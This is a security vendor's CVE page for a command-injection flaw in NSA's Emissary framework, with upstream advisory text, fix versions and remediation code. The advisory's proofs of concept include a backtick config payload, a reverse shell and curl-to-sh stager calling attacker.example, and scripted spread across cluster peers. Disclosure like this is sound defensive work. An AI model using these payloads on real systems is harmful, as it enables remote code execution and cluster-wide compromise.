HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • AI standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • The ChallengePlay the night shift: judge your agent against the real Guard.
  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 35582 emissary has an os command injection via
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Star HOL Guard on GitHub to download
Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
55.5% to 71.3% fewer tokens across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best Herdr Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • AI standards · HOL Throughline
  • Compare AI standards
  • Collaboration ideas
  • HCS specifications

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright © 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
High · CVSS 8.8CVE-2026-35582GHSA-3P24-9X7V-7789

Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in ExecutrixCVE-2026-35582

Answer in brief

CVE-2026-35582 records a High severity (CVSS 8.8) vulnerability in Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix. The current sources do not mark it as known exploited. The current feed maps gov.nsa.emissary:emissary (maven). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 13, 2026Updated Nov 20, 2026Source checked Nov 20, 2026First seen by HOL Oct 28, 2026Material review Nov 20, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 8.8
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 8.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps gov.nsa.emissary:emissary (maven). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
gov.nsa.emissary:emissarymaven<=8.42.08.43.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for gov.nsa.emissary:emissary.
  2. 2Review the reported fix. Update gov.nsa.emissary:emissary to 8.43.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Apr 13, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 20, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 28, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary `Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed. This is a **framework-level defect** — `Executrix` provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed. --- ### Root Cause #### Step 1 — `IN_FILE_ENDING` flows into temp path construction without validation **[`TempFileNames.java:32-36`](src/main/java/emissary/util/shell/TempFileNames.java#L32-L36)** ```java public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) { base = Long.toString(System.nanoTime()); tempDir = FileManipulator.mkTempFile(tmpDir, placeName); in = base + inFileEnding; // no sanitization out = base + outFileEnding; // no sanitization basePath = tempDir + File.separator + base; inputFilename = basePath + inFileEnding; // injected value lands here outputFilename = basePath + outFileEnding; // and here } ``` `inFileEnding` is concatenated directly onto a numeric base to produce `inputFilename`. No character class, no regex, no escaping. #### Step 2 — The injected path is substituted verbatim into a shell string **[`Executrix.java:1053-1065`](src/main/java/emissary/util/shell/Executrix.java#L1053-L1065)** ```java public String[] getCommand(final String[] tmpNames, final String commandArg, final int cpuLimit, final int vmSzLimit) { String c = commandArg; c = c.replaceAll("<INPUT_PATH>", tmpNames[INPATH]); // contains inFileEnding verbatim c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]); c = c.replaceAll("<INPUT_NAME>", tmpNames[IN]); c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]); String ulimitv = ""; if (!SystemUtils.IS_OS_MAC) { ulimitv = "ulimit -v " + vmSzLimit + "; "; } return new String[] {"/bin/sh", "-c", "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c}; } ``` The final array element is passed to `/bin/sh -c`. Shell metacharacters in any substituted value are interpreted by the shell. The identical pattern exists in the `TempFileNames` overload at **[`Executrix.java:1103-1115`](src/main/java/emissary/util/shell/Executrix.java#L1103-L1115)**. #### Step 3 — `setInFileEnding()` and `setOutFileEnding()` perform no validation **[`Executrix.java:1176-1196`](src/main/java/emissary/util/shell/Executrix.java#L1176-L1196)** ```java public void setInFileEnding(final String argInFileEnding) { this.inFileEnding = argInFileEnding; // accepted as-is } public void setOutFileEnding(final String argOutFileEnding) { this.outFileEnding = argOutFileEnding; // accepted as-is } ``` The same absence of validation applies to the `IN_FILE_ENDING` and `OUT_FILE_ENDING` keys read from configuration at **[`Executrix.java:121-122`](src/main/java/emissary/util/shell/Executrix.java#L121-L122)**. #### Contrast: `placeName` is sanitized, file endings are not The framework already sanitizes `placeName` using a strict allowlist: ```java // Executrix.java:78 protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]"); // Executrix.java:148-150 protected static String cleanPlaceName(final String placeName) { return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_"); } ``` `placeName` ends up in `tmpNames[DIR]`, which is also embedded in the shell string. The sanitization of `placeName` demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for `inFileEnding` and `outFileEnding` is the defect. --- ### Proof of Concept Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration. --- #### PoC 1 — Docker: end-to-end attack against a live node **Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.** **Environment setup** Put the `Dockerfile.poc` to `contrib/docker/` folder ``` FROM emissary:poc-base COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/ RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \ && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \ && mkdir -p /opt/emissary/localoutput \ && mkdir -p /opt/emissary/target/data \ && chmod -R a+rw /opt/emissary \ && chown -R emissary:emissary /opt/emissary* \ && rm -f /tmp/*.tar.gz USER emissary WORKDIR /opt/emissary EXPOSE 8001 ENTRYPOINT ["./emissary"] CMD ["server", "-a", "2", "-p", "8001"] ``` ```bash # Build the distribution tarball mvn -B -ntp clean package -Pdist -DskipTests # Build and start the Docker container docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/ docker run -d --name emissary-poc -p 8001:8001 emissary:poc # Wait for the server to start (~15s), then verify health docker exec emissary-poc sh -c \ 'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"' # healthy ``` **Step 1 — Confirm the marker file does not exist** ```bash docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1' # ls: cannot access '/tmp/pwned.txt': No such file or directory ``` **Step 2 — Write the malicious place config** Write `emissary.place.UnixCommandPlace.cfg` into the server's config directory. The `EXEC_COMMAND` is a benign `cat`. The injection is entirely in `IN_FILE_ENDING` using backtick command substitution (POSIX-compatible, works on all target OS images): ```bash docker exec emissary-poc sh -c "printf \ 'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\ SERVICE_NAME = \"UCP\"\n\ SERVICE_TYPE = \"TRANSFORM\"\n\ PLACE_NAME = \"UnixCommandPlace\"\n\ SERVICE_COST = 4000\n\ SERVICE_QUALITY = 90\n\ SERVICE_PROXY = \"LOWER_CASE\"\n\ EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\ OUTPUT_TYPE = \"STD\"\n\ IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\ OUT_FILE_ENDING = \".out\"\n' \ > /opt/emissary/config/emissary.place.UnixCommandPlace.cfg" ``` **Step 3 — Add UnixCommandPlace to places.cfg** ```bash docker exec emissary-poc sh -c \ 'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \ >> /opt/emissary/config/places.cfg' ``` **Step 4 — Restart the server to load the config** ```bash docker restart emissary-poc # wait for health: 200 docker exec emissary-poc sh -c \ 'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"' ``` Startup log confirms the place loaded: ``` INFO emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done! ``` **Step 5 — Drop any file into the pickup directory to trigger processing** ```bash docker exec emissary-poc sh -c \ 'echo "any data" > /opt/emissary/target/data/InputData/victim.txt' ``` The Emissary pipeline picks up the file, routes it through `UnixFilePlace` → `ToLowerPlace` → **`UnixCommandPlace`** (cost 4000, lower than `ToUpperPlace` at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside `getCommand()` before `cat` is even called. **Step 6 — Confirm injection executed** ```bash sleep 10 # allow pipeline processing time docker exec emissary-poc sh -c 'cat /tmp/pwned.txt' ``` **Live output (verified):** ``` uid=1000(emissary) gid=1000(emissary) groups=1000(emissary) ``` **Assembled shell string at execution time** (logged by Emissary at DEBUG level): ``` /bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt` ``` The backtick expression fires as the shell expands the `cat` argument. The `cat` itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run. **Transform history from Emissary logs — confirms UnixCommandPlace ran:** ``` transform history: UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050 UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050 UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010 LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000 <-- injection fired here ... ``` **Escalating the payload — reverse shell** Replace the `IN_FILE_ENDING` value. The content is passed verbatim to `/bin/sh -c`, so any POSIX shell construct works: ```properties # Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash) IN_FILE_ENDING = "`rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f`" # Curl-based stager (avoids embedding IP in config, works on any image with curl) IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`" ``` Both fire on the first payload processed — no further attacker interaction required. --- #### PoC 2 — Unit test: isolated, no server required Exercises the identical code path using only the public `Executrix` API. Suitable for inclusion in a CI security regression suite. ```java package emissary.util.shell; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.condition.DisabledOnOs; import org.junit.jupiter.api.condition.OS; import org.junit.jupiter.api.io.TempDir; import java.nio.file.Files; import java.nio.file.Path; import static org.junit.jupiter.api.Assertions.assertTrue; /** * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping, * enabling command injection via getCommand(). * * Mirrors exactly what UnixCommandPlace.runCommandOn() does: * TempFileNames names = executrix.createTempFilenames(); * String[] cmd = executrix.getCommand(names); * executrix.execute(cmd, ...); */ @DisabledOnOs(OS.WINDOWS) class ExecutrixShellInjectionPocTest { @Test void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception { Path marker = tmpDir.resolve("injected"); // Backtick substitution: avoids the Java regex $-group issue in replaceAll() // while still demonstrating the shell executes the injected expression. String payload = "`touch " + marker.toAbsolutePath() + "`"; Executrix executrix = new Executrix(); executrix.setTmpDir(tmpDir.toString()); executrix.setCommand("cat <INPUT_PATH>"); // mirrors UnixCommandPlace default executrix.setInFileEnding(payload); // no validation — accepted as-is // --- path taken by UnixCommandPlace.runCommandOn() --- TempFileNames names = executrix.createTempFilenames(); String[] cmd = executrix.getCommand(names); // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`" // Execute — same call as executrix.execute(cmd, outbuf, errbuf) Process proc = Runtime.getRuntime().exec(cmd); proc.waitFor(); assertTrue(Files.exists(marker), "Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" + "Shell string: " + cmd[2]); } } ``` **Assembled shell string:** ``` /bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected` ``` The marker file is created by the backtick expression firing during shell argument expansion. **Note on `$()` vs backticks:** `String.replaceAll()` treats `$` in the replacement as a regex group reference, so a `$(...)` payload causes a `java.lang.IllegalArgumentException` before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the `$` appropriately. **The same injection works via `OUT_FILE_ENDING` → `<OUTPUT_PATH>` / `<OUTPUT_NAME>`, and via the `String[]` overload of `getCommand()` used by `MultiFileUnixCommandPlace`.** --- ### Attack Scenarios Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase. --- #### Scenario A — Insider / developer with config write access **Attacker's starting position:** Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides. **Why this is realistic:** Emissary deployments typically load `.cfg` files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload. **Step 1 — Add the malicious config as a seemingly routine change** In a PR or direct push to the config repo: ```diff +++ b/config/emissary.place.UnixCommandPlace.cfg @@ -0,0 +1,10 @@ +SERVICE_KEY = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000" +SERVICE_NAME = "UCP" +SERVICE_TYPE = "TRANSFORM" +PLACE_NAME = "UnixCommandPlace" +SERVICE_COST = 4000 +SERVICE_QUALITY = 90 +SERVICE_PROXY = "LOWER_CASE" +EXEC_COMMAND = "cat <INPUT_PATH>" +OUTPUT_TYPE = "STD" +IN_FILE_ENDING = "`curl -s http://attacker.example/implant.sh | sh`" +OUT_FILE_ENDING = ".out" ``` The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability. **Step 2 — Wait for the next deploy** The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a `WARN` for non-zero exit but does not surface the injected command's output). **Deniability:** The `.cfg` file looks like a misconfigured place. The log entry is `Bad execution of commands` — a common operational error, not an obvious security event. --- #### Scenario B — Cluster-wide propagation via the peers API **Attacker's starting position:** RCE on one node (from Scenario A). **Why this is dangerous:** Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer. **Step 1 — Enumerate all cluster nodes** ```bash curl -s --digest -u <user>:<password> \ http://compromised-node:8001/api/cluster/peers \ | grep -o '"http://[^"]*"' ``` Response: ```json {"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]} ``` **Step 2 — Push the malicious config to each peer via the Emissary API** From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the `CONFIG_DIR` path is disclosed by the `/api/peers` response metadata: ```bash # From the shell gained in Scenario A PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg) for peer in node2:8001 node3:8001 node4:8001; do # Write the config file to the peer via its exposed file API # (alternatively: exploit the peer's own pickup directory via the ingest API) curl -s --digest -u <user>:<password> \ -X POST \ -H "Content-Type: text/plain" \ --data-binary "$PAYLOAD" \ "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg" done ``` If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns. **Step 3 — Trigger restart on each peer via the cluster shutdown API** ```bash for peer in node2:8001 node3:8001 node4:8001; do curl -s --digest -u <user>:<password> \ -X POST -H "X-Requested-By: x" \ http://${peer}/api/shutdown done ``` **Outcome:** Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold. ### Impact | Dimension | Assessment | |-----------|------------| | **Confidentiality** | **Critical** — arbitrary read of files accessible to the Emissary process | | **Integrity** | **Critical** — arbitrary file write, process state modification, persistence | | **Availability** | **Critical** — process termination, resource exhaustion | | **Blast radius** | Any place that uses `Executrix` and calls `getCommand()`; this includes all subclasses of `ExecPlace` and any custom place that follows the documented pattern | --- ## Recommended Remediation ### Primary fix — validate `inFileEnding` and `outFileEnding` on assignment Apply the same allowlist pattern already used for `placeName`: ```java // Add to Executrix.java private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$"); public void setInFileEnding(final String argInFileEnding) { if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) { throw new IllegalArgumentException( "IN_FILE_ENDING contains illegal characters: " + argInFileEnding); } this.inFileEnding = argInFileEnding; } public void setOutFileEnding(final String argOutFileEnding) { if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) { throw new IllegalArgumentException( "OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding); } this.outFileEnding = argOutFileEnding; } ``` Apply the same validation inside `configure()` where the values are read from the `Configurator`. ### Secondary fix (defence-in-depth) — shell-quote substituted values in `getCommand()` Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component: ```java // In getCommand(), wrap each substituted value in single quotes // and escape any embedded single quotes. // Java string "'\\'''" is the four characters: ' \ ' ' // which at runtime produces the shell sequence: '\'' // (close quote, literal single quote, reopen quote) private static String shellQuote(String value) { return "'" + value.replace("'", "'\\''") + "'"; } // Then: c = c.replace("<INPUT_PATH>", shellQuote(tmpNames[INPATH])); c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH])); c = c.replace("<INPUT_NAME>", shellQuote(tmpNames[IN])); c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT])); ``` ### Why this is a framework-level fix The framework's `cleanPlaceName()` method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to `inFileEnding` and `outFileEnding` is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • XiangLi1999 Diffusion-LM infill.py os.system os command injectionAlso CWE-78

Record context

Vulnerability class
Command Injection
EPSS
Not reported
CWE IDs
CWE-78, CWE-116
Source
GitHub Security Advisories
Source checked
Nov 20, 2026
References
5 linked sources
Open source record